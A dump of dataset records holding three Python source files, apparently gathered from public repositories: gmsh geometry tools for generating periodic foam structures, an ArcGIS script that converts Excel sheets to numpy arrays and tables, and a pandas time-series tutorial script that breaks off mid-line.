IDs of periodic points. Use None if there\n        # is no periodic point in specified direction.\n        per_surf = [\n            periodic_points[point] if point in periodic_points else None\n            for point in surface\n        ]\n        if None not in per_surf:\n            per_surf.sort()  # sort so you can find it\n            # use ID of current surface and find ID of periodic surface\n            psurfs.append(\n                [\n                    i,\n                    list(surface_points.keys())[\n                        list(surface_points.values()).index(per_surf)\n                    ]\n                ]\n            )\n    return psurfs\n\n\ndef identify_duplicity(edat, key, number, eps):\n    \"\"\"Core algorithm for removing duplicities.\n\n    User should call :func:`remove_duplicity` instead.\n\n    Args:\n        edat (dict): extracted geometry data\n        key (str): type of geometry\n        number (str): number type (float or integer)\n        eps (float): tolerance\n\n    Returns:\n        dict: duplicit objects\n    \"\"\"\n    dupl = dict()\n    if number == 'float':\n        for i, item1 in edat[key].items():\n            for j, item2 in edat[key].items():\n                if i != j and i > j and np.sum(np.abs(item1 - item2)) < eps:\n                    if i not in dupl:\n                        dupl[i] = []\n                    dupl[i].append(j)\n    elif number == 'integer':\n        for i, item1 in edat[key].items():\n            for j, item2 in edat[key].items():\n                if i != j and i > j and sorted(item1) == sorted(item2):\n                    if i not in dupl:\n                        dupl[i] = []\n                    dupl[i].append(j)\n    else:\n        raise Exception('number argument must be float or integer')\n    return dupl\n\n\ndef remove_duplicit_ids_from_keys(edat, dupl, key):\n    \"\"\"Removes duplicit IDs from IDs of entities.\n\n    Args:\n        edat (dict): extracted geometry data\n        dupl (dict): duplicit objects\n        key (str): type of geometry\n    \"\"\"\n    for i in dupl:\n        del edat[key][i]\n\n\ndef remove_duplicit_ids_from_values(edat, dupl, key):\n    \"\"\"Removes duplicit IDs from values of entities.\n\n    Args:\n        edat (dict): extracted geometry data\n        dupl (dict): duplicit objects\n        key (str): type of geometry\n    \"\"\"\n    for values in edat[key].values():\n        for j, value in enumerate(values):\n            if value in dupl:\n                values[j] = min(dupl[value])\n\n\ndef remove_duplicity(edat, eps=1e-10):\n    \"\"\"Removes duplicit points, lines, etc.\n\n    Args:\n        edat (dict): extracted geometry data\n        eps (float): tolerance\n    \"\"\"\n    # points\n    dupl = identify_duplicity(edat, 'point', 'float', eps)\n    remove_duplicit_ids_from_keys(edat, dupl, 'point')\n    remove_duplicit_ids_from_values(edat, dupl, 'line')\n    # lines\n    dupl = identify_duplicity(edat, 'line', 'integer', eps)\n    remove_duplicit_ids_from_keys(edat, dupl, 'line')\n    remove_duplicit_ids_from_values(edat, dupl, 'line_loop')\n    # line loops\n    dupl = identify_duplicity(edat, 'line_loop', 'integer', eps)\n    remove_duplicit_ids_from_keys(edat, dupl, 'line_loop')\n    remove_duplicit_ids_from_keys(edat, dupl, 'surface')\n    remove_duplicit_ids_from_values(edat, dupl, 'surface_loop')\n    # there are no duplicit volumes\n\n\ndef split_loops(edat, key):\n    \"\"\"Makes sure that line and surface loops contain only one loop.\n\n    Surfaces and volumes with holes are instead defined in Surface and Volume\n    entries, respectively. Needed because gmsh unrolls geometry in a way, which\n    is unusable with OpenCASCADE kernel.\n\n    This function is slow. It does not catch all loops.\n\n    Args:\n        edat (dict): extracted geometry data\n        key (str): type of geometry\n    \"\"\"\n    if key == 'line_loop':\n        key2 = 'surface'\n    elif key == 'surface_loop':\n        key2 = 'volume'\n    else:\n        raise Exception('can be called only for line_loop or surface_loop')\n    for i, item1 in edat[key].items():\n        for j, item2 in edat[key].items():\n            if i != j and set(item2).issubset((set(item1))):\n                for value in item2:\n                    item1.remove(value)\n                edat[key][i] = item1\n                edat[key2][i] = [i, j]\n                break\n\n\ndef move_to_box(infile, wfile, outfile, mvol):\n    \"\"\"Moves periodic closed foam to periodic box.\n\n    Uses gmsh, specifically boolean operations and transformations from\n    OpenCASCADE. The result is unrolled to another geo file so that it can be\n    quickly read and worked with in the follow-up work. Operations are\n    performed two times. First for walls (first half of volumes) and then for\n    cells.\n\n    Save output to ``outfile``.\n\n    Args:\n        infile (str): input filename\n        wfile (str): working filename\n        outfile (str): output filename\n        mvol (int): number of volumes\n    \"\"\"\n    with open(wfile, 'w') as wfl:\n        hvol = int(mvol / 2)\n        wfl.write('SetFactory(\"OpenCASCADE\");\\n\\n')\n        wfl.write('Include \"{0}\";\\n\\n'.format(infile))\n        wfl.write('Block({0}) = {{-1,-1,-1,3,3,1}};\\n'.format(mvol + 1))\n        wfl.write('Block({0}) = {{-1,-1, 1,3,3,1}};\\n'.format(mvol + 2))\n        wfl.write('Block({0}) = {{-1,-1, 0,3,3,1}};\\n'.format(mvol + 3))\n        wfl.write('Block({0}) = {{-1,-1,-1,3,1,3}};\\n'.format(mvol + 4))\n        wfl.write('Block({0}) = {{-1, 1,-1,3,1,3}};\\n'.format(mvol + 5))\n        wfl.write('Block({0}) = {{-1, 0,-1,3,1,3}};\\n'.format(mvol + 6))\n        wfl.write('Block({0}) = {{-1,-1,-1,1,3,3}};\\n'.format(mvol + 7))\n        wfl.write('Block({0}) = {{ 1,-1,-1,1,3,3}};\\n'.format(mvol + 8))\n        wfl.write('Block({0}) = {{ 0,-1,-1,1,3,3}};\\n'.format(mvol + 9))\n        wfl.write('\\n')\n        wfl.write(\n            'zol() = BooleanIntersection'\n            + '{{Volume{{1:{0}}};}}'.format(hvol)\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 1)\n        )\n        wfl.write(\n            'zoh() = BooleanIntersection'\n            + '{{Volume{{1:{0}}};}}'.format(hvol)\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 2)\n        )\n        wfl.write(\n            'zin() = BooleanIntersection'\n            + '{{Volume{{1:{0}}}; Delete;}}'.format(hvol)\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 3)\n        )\n        wfl.write('Translate{0,0, 1}{Volume{zol()};}\\n')\n        wfl.write('Translate{0,0,-1}{Volume{zoh()};}\\n\\n')\n        wfl.write(\n            'yol() = BooleanIntersection'\n            + '{Volume{zol(),zoh(),zin()};}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 4)\n        )\n        wfl.write(\n            'yoh() = BooleanIntersection'\n            + '{Volume{zol(),zoh(),zin()};}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 5)\n        )\n        wfl.write(\n            'yin() = BooleanIntersection'\n            + '{Volume{zol(),zoh(),zin()}; Delete;}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 6)\n        )\n        wfl.write('Translate{0, 1,0}{Volume{yol()};}\\n')\n        wfl.write('Translate{0,-1,0}{Volume{yoh()};}\\n\\n')\n        wfl.write(\n            'xol() = BooleanIntersection'\n            + '{Volume{yol(),yoh(),yin()};}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 7)\n        )\n        wfl.write(\n            'xoh() = BooleanIntersection'\n            + '{Volume{yol(),yoh(),yin()};}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 8)\n        )\n        wfl.write(\n            'xin() = BooleanIntersection'\n            + '{Volume{yol(),yoh(),yin()}; Delete;}'\n            + '{{Volume{{{0}}};}};\\n'.format(mvol + 9)\n        )\n        wfl.write('Translate{ 1,0,0}{Volume{xol()};}\\n')\n        wfl.write('Translate{-1,0,0}{Volume{xoh()};}\\n\\n')\n        wfl.write(\n            'zol2() = BooleanIntersection'\n            + '{{Volume{{{0}:{1}}};}}'.format(hvol + 1, mvol)\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 1)\n        )\n        wfl.write(\n            'zoh2() = BooleanIntersection'\n            + '{{Volume{{{0}:{1}}};}}'.format(hvol + 1, mvol)\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 2)\n        )\n        wfl.write(\n            'zin2() = BooleanIntersection'\n            + '{{Volume{{{0}:{1}}}; Delete;}}'.format(hvol + 1, mvol)\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 3)\n        )\n        wfl.write('Translate{0,0, 1}{Volume{zol2()};}\\n')\n        wfl.write('Translate{0,0,-1}{Volume{zoh2()};}\\n\\n')\n        wfl.write(\n            'yol2() = BooleanIntersection'\n            + '{Volume{zol2(),zoh2(),zin2()};}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 4)\n        )\n        wfl.write(\n            'yoh2() = BooleanIntersection'\n            + '{Volume{zol2(),zoh2(),zin2()};}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 5)\n        )\n        wfl.write(\n            'yin2() = BooleanIntersection'\n            + '{Volume{zol2(),zoh2(),zin2()}; Delete;}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 6)\n        )\n        wfl.write('Translate{0, 1,0}{Volume{yol2()};}\\n')\n        wfl.write('Translate{0,-1,0}{Volume{yoh2()};}\\n\\n')\n        wfl.write(\n            'xol2() = BooleanIntersection'\n            + '{Volume{yol2(),yoh2(),yin2()};}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 7)\n        )\n        wfl.write(\n            'xoh2() = BooleanIntersection'\n            + '{Volume{yol2(),yoh2(),yin2()};}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 8)\n        )\n        wfl.write(\n            'xin2() = BooleanIntersection'\n            + '{Volume{yol2(),yoh2(),yin2()}; Delete;}'\n            + '{{Volume{{{0}}}; Delete;}};\\n'.format(mvol + 9)\n        )\n        wfl.write('Translate{ 1,0,0}{Volume{xol2()};}\\n')\n        wfl.write('Translate{-1,0,0}{Volume{xoh2()};}\\n\\n')\n        wfl.write('Physical Volume (\"walls\") = {xol(),xoh(),xin()};\\n')\n        wfl.write('Physical Volume (\"cells\") = {xol2(),xoh2(),xin2()};\\n\\n')\n    sp.Popen(['gmsh', wfile, '-0']).wait()\n    shutil.move(wfile + '_unrolled', outfile)\n\n\ndef create_walls(edat, wall_thickness=0.01):\n    \"\"\"Creates walls by shring each cell.\n\n    Each vertex is moved by toward the cell centroid as:\n\n    .. math::\n\n        v_n = v_o + w (c - v_o)\n\n    where :math:`v_n` is new vertex position, :math:`v_o` is old vertex\n    position, :math:`w` is the ``wall_thickness``, and :math:`c` is the\n    centroid position.\n\n    Args:\n        edat (dict): extracted geometry data\n        wall_thickness (float, optional): shrinking parameter\n\n    Returns:\n        list: [cell data, wall data]\n    \"\"\"\n    xdat = dict()  # new cell data\n    xdat['point'] = dict()\n    xdat['line'] = dict()\n    xdat['line_loop'] = dict()\n    xdat['surface'] = dict()\n    xdat['surface_loop'] = dict()\n    xdat['volume'] = dict()\n    volume_points = dict()  # point IDs for each volume\n    for volume in edat['surface_loop']:\n        volume_points[volume] = []\n        for surface in edat['surface_loop'][volume]:\n            for line in edat['line_loop'][surface]:\n                for point in edat['line'][line]:\n                    if point not in volume_points[volume]:\n                        volume_points[volume] += [point]\n        volume_points[volume].sort()\n    centroids = dict()  # centroid for each volume\n    for volume in edat['surface_loop']:\n        total = 0\n        for point in volume_points[volume]:\n            total += edat['point'][point]\n        total /= len(volume_points[volume])\n        centroids[volume] = total\n    npoints = len(edat['point'])\n    nlines = len(edat['line'])\n    nsurfaces = len(edat['line_loop'])\n    nvolumes = len(edat['surface_loop'])\n    for volume in list(edat['surface_loop']):\n        point_map = dict()  # mapping of old points to new points\n        nvolumes += 1\n        edat['surface_loop'][nvolumes] = []\n        xdat['surface_loop'][nvolumes] = []\n        for point in volume_points[volume]:\n            npoints += 1\n            edat['point'][npoints] = edat['point'][point] + wall_thickness * (\n                centroids[volume] - edat['point'][point])\n            xdat['point'][npoints] = edat['point'][point] + wall_thickness * (\n                centroids[volume] - edat['point'][point])\n            point_map[point] = npoints\n        for surface in edat['surface_loop'][volume]:\n            nsurfaces += 1\n            edat['line_loop'][nsurfaces] = []\n            xdat['line_loop'][nsurfaces] = []\n            for line in edat['line_loop'][surface]:\n                nlines += 1\n                edat['line'][nlines] = [\n                    point_map[edat['line'][line][0]],\n                    point_map[edat['line'][line][1]],\n                ]\n                xdat['line'][nlines] = [\n                    point_map[edat['line'][line][0]],\n                    point_map[edat['line'][line][1]],\n                ]\n                edat['line_loop'][nsurfaces] += [nlines]\n                xdat['line_loop'][nsurfaces] += [nlines]\n            edat['surface'][nsurfaces] = [nsurfaces]\n            edat['surface_loop'][nvolumes] += [nsurfaces]\n            xdat['surface'][nsurfaces] = [nsurfaces]\n            xdat['surface_loop'][nvolumes] += [nsurfaces]\n        # edat['volume'][nvolumes] = [nvolumes]\n        xdat['volume'][nvolumes] = [nvolumes]\n        edat['volume'][volume] += [nvolumes]\n    remove_duplicity(edat)\n    remove_duplicity(xdat)\n    return xdat, edat\n\n\ndef restore_sizing(edat):\n    \"\"\"Add sizing info to all points.\n\n    Adds fourth argument called \"psize\" to each point.\n\n    Args:\n        edat (dict): extracted geometry data\n    \"\"\"\n    for ind in edat['point'].keys():\n        edat['point'][ind] = list(edat['point'][ind]) + ['psize']\n\n\ndef prep_mesh_config(iname, oname, sizing, char_length=0.1):\n    \"\"\"Create file specifying meshing parameters.\n\n    Sizing specified at points, edges and cells and implemented through\n    thresholds.\n\n    Additional info about gmsh mesh sizing `here\n    <http://gmsh.info/doc/texinfo/gmsh.html#Specifying-mesh-element-sizes>`_.\n\n    Args:\n        iname (str): input filename\n        oname (str): output filename\n        sizing (list): mesh size near points, edges and in cells\n        char_length (float, optional): gmsh Mesh.CharacteristicLengthMax\n    \"\"\"\n    eps = 1e-6\n    xmin = ymin = zmin = 0\n    xmax = ymax = zmax = 1\n    base = '{{{0}, {1}, {2}, {3}, {4}, {5}}}'\n    with open(oname, \"w\") as fhl:\n        fhl.write('Merge \"{}\";\\n'.format(iname))\n        fhl.write('e1() = Line In BoundingBox ' + base.format(\n            xmin - eps, ymin - eps, zmin - eps,\n            xmax + eps, ymax + eps, zmax + eps) + ';\\n')\n        fhl.write('Mesh.CharacteristicLengthMax = {0};\\n'.format(char_length))\n        fhl.write('psize = {0};\\n'.format(sizing[0]))\n        fhl.write('esize = {0};\\n'.format(sizing[1]))\n        fhl.write('csize = {0};\\n'.format(sizing[2]))\n        fhl.write('p1() = Point In BoundingBox ' + base.format(\n            xmin - eps, ymin - eps, zmin - eps,\n            xmax + eps, ymax + eps, zmax + eps) + ';\\n')\n        fhl.write('Field[1] = Distance;\\n')\n        fhl.write('Field[1].NodesList = {p1()};' + '\\n')\n        fhl.write('Field[2] = Threshold;\\n')\n        fhl.write('Field[2].IField = 1;\\n')\n        fhl.write('Field[2].LcMin = psize;\\n')\n        fhl.write('Field[2].LcMax = csize;\\n')\n        fhl.write('Field[2].DistMin = 0;\\n')\n        fhl.write('Field[2].DistMax = 3*csize;\\n')\n        fhl.write('Field[3] = Distance;\\n')\n        fhl.write('Field[3].NNodesByEdge = 10;\\n')\n        fhl.write('Field[3].EdgesList = {e1()};\\n')\n        fhl.write('Field[4] = Threshold;\\n')\n        fhl.write('Field[4].IField = 2;\\n')\n        fhl.write('Field[4].LcMin = esize;\\n')\n        fhl.write('Field[4].LcMax = csize;\\n')\n        fhl.write('Field[4].DistMin = 0;\\n')\n        fhl.write('Field[4].DistMax = 3*csize;\\n')\n        fhl.write('Field[5] = Min;\\n')\n        fhl.write('Field[5].FieldsList = {2, 4};' + '\\n')\n        fhl.write('Background Field = 5;\\n')\n        fhl.write('Mesh.CharacteristicLengthExtendFromBoundary = 0;\\n')\n\n\ndef merge_and_label_geo(inames, oname):\n    \"\"\"Merge geometry files. Define periodic surfaces and physical volume.\n\n    Assumes bounding box [0, 1] in all directions.\n\n    Args:\n        inames (list): input filenames\n        oname (str): output filename\n    \"\"\"\n    eps = 1e-6\n    xmin = ymin = zmin = 0\n    xmax = ymax = zmax = 1\n    base = '{{{0}, {1}, {2}, {3}, {4}, {5}}}'\n    base2 = '{{{0}, {1}, {2}}}'\n    with open(oname, 'w') as fhl:\n        for i, iname in enumerate(inames):\n            fhl.write('Merge \"{}\";\\n'.format(iname))\n            fhl.write('v{}() = Volume In BoundingBox '.format(i + 1)\n                      + base.format(xmin - eps, ymin - eps, zmin - eps,\n                                    xmax + eps, ymax + eps, zmax + eps)\n                      + ';\\n')\n            for j in range(i):\n                fhl.write('v{0}() -= v{1}();\\n'.format(i + 1, j + 1))\n            fhl.write('Physical Volume({0}) = {{v{0}()}};\\n'.format(i + 1))\n        fhl.write('s1() = Surface In BoundingBox ' + base.format(\n            xmin - eps, ymin - eps, zmin - eps,\n            xmin + eps, ymax + eps, zmax + eps) + ';\\n')\n        fhl.write('s2() = Surface In BoundingBox ' + base.format(\n            xmax - eps, ymin - eps, zmin - eps,\n            xmax + eps, ymax + eps, zmax + eps) + ';\\n')\n        fhl.write('s3() = Surface In BoundingBox ' + base.format(\n            xmin - eps, ymin - eps, zmin - eps,\n            xmax + eps, ymin + eps, zmax + eps) + ';\\n')\n        fhl.write('s4() = Surface In BoundingBox ' + base.format(\n            xmin - eps, ymax - eps, zmin - eps,\n            xmax + eps, ymax + eps, zmax + eps) + ';\\n')\n        fhl.write('Periodic Surface {s2()} = {s1()} Translate'\n                  + base2.format(xmax - xmin, 0, 0) + ';\\n')\n        fhl.write('Periodic Surface {s4()} = {s3()} Translate'\n                  + base2.format(0, ymax - ymin, 0) + ';\\n')\n", "meta": {"hexsha": "b6c246b6a6427d0f3acc946c9cc78bec02760afd", "size": 29079, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/foamgen/geo_tools.py", "max_stars_repo_name": "japaf/foamgen", "max_stars_repo_head_hexsha": "6f456796e79de344eefb21a1ad121fd869f9fd9e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-09-07T12:08:37.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-07T12:08:37.000Z", "max_issues_repo_path": "src/foamgen/geo_tools.py", "max_issues_repo_name": "japaf/foamgen", "max_issues_repo_head_hexsha": "6f456796e79de344eefb21a1ad121fd869f9fd9e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 17, "max_issues_repo_issues_event_min_datetime": "2019-06-02T13:27:38.000Z", "max_issues_repo_issues_event_max_datetime": "2019-09-22T22:35:46.000Z", "max_forks_repo_path": "src/foamgen/geo_tools.py", "max_forks_repo_name": "japaf/foamgen", "max_forks_repo_head_hexsha": "6f456796e79de344eefb21a1ad121fd869f9fd9e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-03-02T07:22:02.000Z", "max_forks_repo_forks_event_max_datetime": "2020-03-02T07:22:02.000Z", "avg_line_length": 35.462195122, "max_line_length": 80, "alphanum_fraction": 0.5318614808, "include": true, "reason": "import numpy", "num_tokens": 8065, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10374861716730452, "lm_q1q2_score": 0.05187430858365226}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nscript name\r\n===========\r\n\r\nScript :   ......py\r\n\r\nAuthor :   Dan_Patterson@carleton.ca\r\n\r\nModified : 2018-06-04\r\n\r\nPurpose:  tools for working with numpy arrays\r\n\r\nUseage :\r\n\r\nReferences\r\n----------\r\n`<http://pro.arcgis.com/en/pro-app/arcpy/data-access/numpyarraytotable.htm>`_.\r\n`<http://pro.arcgis.com/en/pro-app/arcpy/data-access/tabletonumpyarray.htm>`_.\r\n---------------------------------------------------------------------\r\n\"\"\"\r\n\r\nimport sys\r\nimport numpy as np\r\nimport xlrd\r\nimport arcpy.da\r\nfrom arcpy import env\r\n\r\nenv.overwriteOutput = True\r\n#from arcpytools import fc_info, tweet  #, frmt_rec, _col_format\r\n#import arcpy\r\n\r\nft = {'bool': lambda x: repr(x.astype(np.int32)),\r\n      'float_kind': '{: 0.3f}'.format}\r\nnp.set_printoptions(edgeitems=10, linewidth=80, precision=2, suppress=True,\r\n                    threshold=100, formatter=ft)\r\nnp.ma.masked_print_option.set_display('-')  # change to a single -\r\n\r\nscript = sys.argv[0]  # print this should you need to locate the script\r\n\r\n# ----------------------------------------------------------------------\r\n# (10) excel_np\r\ndef excel_np(path, sheet_num=0, int_null=-999):\r\n    \"\"\"Read excel files to numpy structured/record arrays.  Your spreadsheet\r\n    must adhere to simple rules::\r\n      - first row must contain the field names for the output array\r\n      - no blank rows or columns, basically, no fluff or formatting\r\n      - if you have nodata values, put them in, since blank cells will be\r\n        'corrected' as best as possible.\r\n      - text and numbers in a column, results in a text column\r\n\r\n    See arraytools.a_io for excel_np for complete description\r\n    \"\"\"\r\n    def isfloat(a):\r\n        \"\"\"float check\"\"\"\r\n        try:\r\n            i = float(a)\r\n            return i\r\n        except ValueError:\r\n            return np.nan\r\n\r\n    def punc_space(name):\r\n        \"\"\"delete punctuation and spaces and replace with '_'\"\"\"\r\n        punc = list('!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^`{|}~ ')\r\n        return \"\".join([[i, '_'][i in punc] for i in name])\r\n\r\n    # import xlrd\r\n    w = xlrd.open_workbook(path)        # xlrd.book.Book class\r\n    sheets = len(w.sheets())\r\n    if sheet_num > sheets:\r\n        return None\r\n    sheet = w.sheet_by_index(sheet_num) # sheet by number\r\n    # sheet = w.sheet_by_name('test')   # case sensitive, not implemented\r\n    names = sheet.row_values(0)         # clean these up later\r\n    cols = sheet.ncols\r\n    rows = sheet.nrows\r\n    col_data = [sheet.col_values(i, 1, rows) for i in range(cols)]\r\n    row_guess = sheet.row_values(1)\r\n    row_dts = [np.asarray(i).dtype.kind for i in row_guess]\r\n    col_dts = [np.asarray(col_data[i]).dtype.kind\r\n               for i in range(cols)]\r\n    clean = []\r\n    for i in range(len(row_dts)):\r\n        c = col_data[i]\r\n        if row_dts[i] == col_dts[i]:    # same dtype... send to array\r\n            ar = np.asarray(c)\r\n        if row_dts[i] == 'f':           # float? if so, substitute np.nan\r\n            ar = np.array([isfloat(i) for i in c])\r\n            is_nan = np.isnan(ar)       # find the nan values, then check\r\n            not_nan = ar[~is_nan]       # are the floats == ints?\r\n            if np.all(np.equal(not_nan, not_nan.astype('int'))):  # integer?\r\n                ar[is_nan] = int_null   # assign the integer null\r\n                ar = ar.astype('int')\r\n        elif row_dts[i] in ('U', 'S'):  # unicode/string... send to array\r\n            ar = np.char.strip(ar)\r\n            ar = np.where(np.char.str_len(ar) == 0, 'None', ar)\r\n        else:\r\n            ar = np.asarray(c)\r\n        clean.append(ar)\r\n    # ---- assemble the columns for the array ----\r\n    dt_str = [i.dtype.str for i in clean]\r\n    names = [i.strip() for i in names]      # clean up leading/trailing spaces\r\n    names = [punc_space(i) for i in names]  # replace punctuation and spaces\r\n    dts_name = list(zip(names, dt_str))\r\n    arr = np.empty((rows-1,), dtype= dts_name)\r\n    cnt = 0\r\n    for i in names:\r\n        arr[i] = clean[cnt]\r\n        cnt +=1\r\n    return arr\r\n\r\n\r\n# ----------------------------------------------------------------------\r\n# .... final code section producing the featureclass and extendtable\r\nif len(sys.argv) == 1:\r\n    testing = True\r\n    in_excel = script.rpartition(\"/\")[0] + \"/Data/test.xlsx\"\r\n    sheet_num = 0\r\n    int_null = -999\r\n    arr = excel_np(in_excel, sheet_num=sheet_num , int_null=int_null)\r\n    print(\"Array returned...\\n{}\".format(arr))\r\n    # parameters here\r\nelse:\r\n    testing = False\r\n    in_excel = sys.argv[1]\r\n    sheet_num = int(sys.argv[2])\r\n    int_null = sys.argv[3]\r\n    if int_null in ('-2147483648', '-32768', '-128', '-9', '-1'):\r\n        int_null == int(int_null)\r\n    else:\r\n        int_null = '-2147483648'\r\n    out_tbl = sys.argv[4]\r\n    arr = excel_np(in_excel, sheet_num=sheet_num , int_null=int_null)\r\n    if arr is None:\r\n        print(\"not a sheet number\")\r\n    else:\r\n        arcpy.da.NumPyArrayToTable(arr, out_tbl)\r\n\r\n    # parameters here\r\n#\r\nif testing:\r\n    print('\\nScript source... {}'.format(script))\r\n# ----------------------------------------------------------------------\r\n# __main__ .... code section\r\nif __name__ == \"__main__\":\r\n    \"\"\"Optionally...\r\n    : - print the script source name.\r\n    : - run the _demo\r\n    \"\"\"\r\n", "meta": {"hexsha": "0dd19da736076832f26d6dc35bf3d038fef2dd86", "size": 5275, "ext": "py", "lang": "Python", "max_stars_repo_path": "arraytools_testing/excel2tbl.py", "max_stars_repo_name": "Dan-Patterson/Tools_for_ArcGIS_Pro", "max_stars_repo_head_hexsha": "b5c253d59d57bd1abe7e2433a77aed7d3ea22567", "max_stars_repo_licenses": ["Info-ZIP"], "max_stars_count": 23, "max_stars_repo_stars_event_min_datetime": "2020-05-15T18:40:25.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T08:44:39.000Z", "max_issues_repo_path": "arraytools_testing/excel2tbl.py", "max_issues_repo_name": "Dan-Patterson/Tools_for_ArcGIS_Pro", "max_issues_repo_head_hexsha": "b5c253d59d57bd1abe7e2433a77aed7d3ea22567", "max_issues_repo_licenses": ["Info-ZIP"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-12-14T16:47:00.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-15T03:06:26.000Z", "max_forks_repo_path": "arraytools_testing/excel2tbl.py", "max_forks_repo_name": "Dan-Patterson/Tools_for_ArcGIS_Pro", "max_forks_repo_head_hexsha": "b5c253d59d57bd1abe7e2433a77aed7d3ea22567", "max_forks_repo_licenses": ["Info-ZIP"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-08-09T05:42:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T08:44:59.000Z", "avg_line_length": 35.1666666667, "max_line_length": 79, "alphanum_fraction": 0.5526066351, "include": true, "reason": "import numpy", "num_tokens": 1327, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.10970577824417872, "lm_q1q2_score": 0.05185610866580864}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pytz\nimport random\n\n# Date and Time\n# =============\n\nprint(datetime.datetime(2000, 1, 1))\nprint(datetime.datetime.strptime(\"2000/1/1\", \"%Y/%m/%d\"))\nprint(datetime.datetime(2000, 1, 1, 0, 0).strftime(\"%Y%m%d\"))\n\n# to_datetime\n# ===========\n\nprint(pd.to_datetime(\"4th of July\"))\nprint(pd.to_datetime(\"13.01.2000\"))\nprint(pd.to_datetime(\"7/8/2000\"))\nprint(pd.to_datetime(\"7/8/2000\", dayfirst=True))\nprint(issubclass(pd.Timestamp, datetime.datetime))\n\nts = pd.to_datetime(946684800000000000)\n\nprint(ts.year, ts.month, ts.day, ts.weekday())\n\nindex = [pd.Timestamp(\"2000-01-01\"),\n         pd.Timestamp(\"2000-01-02\"),\n         pd.Timestamp(\"2000-01-03\")]\n\nts = pd.Series(np.random.randn(len(index)), index=index)\nprint(ts)\nprint(ts.index)\n\nts = pd.Series(np.random.randn(len(index)),\n               index=[\"2000-01-01\", \"2000-01-02\", \"2000-01-03\"])\nprint(ts.index)\n\nindex = pd.to_datetime([\"2000-01-01\", \"2000-01-02\", \"2000-01-03\"])\nts = pd.Series(np.random.randn(len(index)), index=index)\nprint(ts.index)\n\nprint(pd.date_range(start=\"2000-01-01\", periods=3, freq='H'))\nprint(pd.date_range(start=\"2000-01-01\", periods=3, freq='T'))\nprint(pd.date_range(start=\"2000-01-01\", periods=3, freq='S'))\nprint(pd.date_range(start=\"2000-01-01\", periods=3, freq='B'))\nprint(pd.date_range(start=\"2000-01-01\", periods=5, freq='1D1h1min10s'))\nprint(pd.date_range(start=\"2000-01-01\", periods=5, freq='12BH'))\n\nbh = pd.tseries.offsets.BusinessHour(start='07:00', end='22:00')\nprint(bh)\n\n\nprint(pd.date_range(start=\"2000-01-01\", periods=5, freq=12 * bh))\nprint(pd.date_range(start=\"2000-01-01\", periods=5, freq='W-FRI'))\nprint(pd.date_range(start=\"2000-01-01\", periods=5, freq='WOM-2TUE'))\n\n\ns = pd.date_range(start=\"2000-01-01\", periods=10, freq='BAS-JAN')\nt = pd.date_range(start=\"2000-01-01\", periods=10, freq='A-FEB')\ns.union(t)\nindex = pd.date_range(start='2000-01-01', periods=200, freq='B')\nprint(index)\n\nts = pd.Series(np.random.randn(len(index)), index=index)\nwalk = ts.cumsum()\nwalk.plot()\nplt.savefig('random_walk.png')\n\nprint(ts.head())\nprint(ts[0])\nprint(ts[1:3])\nprint(ts['2000-01-03'])\nprint(ts[datetime.datetime(2000, 1, 3)])\nprint(ts['2000-01-03':'2000-01-05'])\nprint(ts['2000-01-03':datetime.datetime(2000, 1, 5)])\nprint(ts['2000-01-03':datetime.date(2000, 1, 5)])\nprint(ts['2000-02'])\nprint(ts['2000-03':'2000-05'])\n\nsmall_ts = ts['2000-02-01':'2000-02-05']\n\nprint(small_ts)\nprint(small_ts.shift(2))\nprint(small_ts.shift(-2))\n\n# Downsampling\n# ============\n\nrng = pd.date_range('4/29/2015 8:00', periods=600, freq='T')\nts = pd.Series(np.random.randint(0, 100, len(rng)), index=rng)\n\nprint(ts.head())\nprint(ts.resample('10min').head())\nprint(ts.resample('10min', how='sum').head())\nprint(ts.resample('1h', how='sum').head())\nprint(ts.resample('1h', how='max').head())\n\n\nprint(ts.resample('1h', how=lambda m: random.choice(m)).head())\nprint(ts.resample('1h', how='ohlc').head())\n\n# Upsampling\n# ==========\n\nrng = pd.date_range('4/29/2015 8:00', periods=10, freq='H')\nts = pd.Series(np.random.randint(0, 100, len(rng)), index=rng)\n\nprint(ts.head())\nprint(ts.resample('15min'))\nprint(ts.head())\nprint(ts.resample('15min', fill_method='ffill').head())\nprint(ts.resample('15min', fill_method='bfill').head())\nprint(ts.resample('15min', fill_method='ffill', limit=2).head())\nprint(ts.resample('15min', fill_method='ffill', limit=2, loffset='5min').head())\n\ntsx = 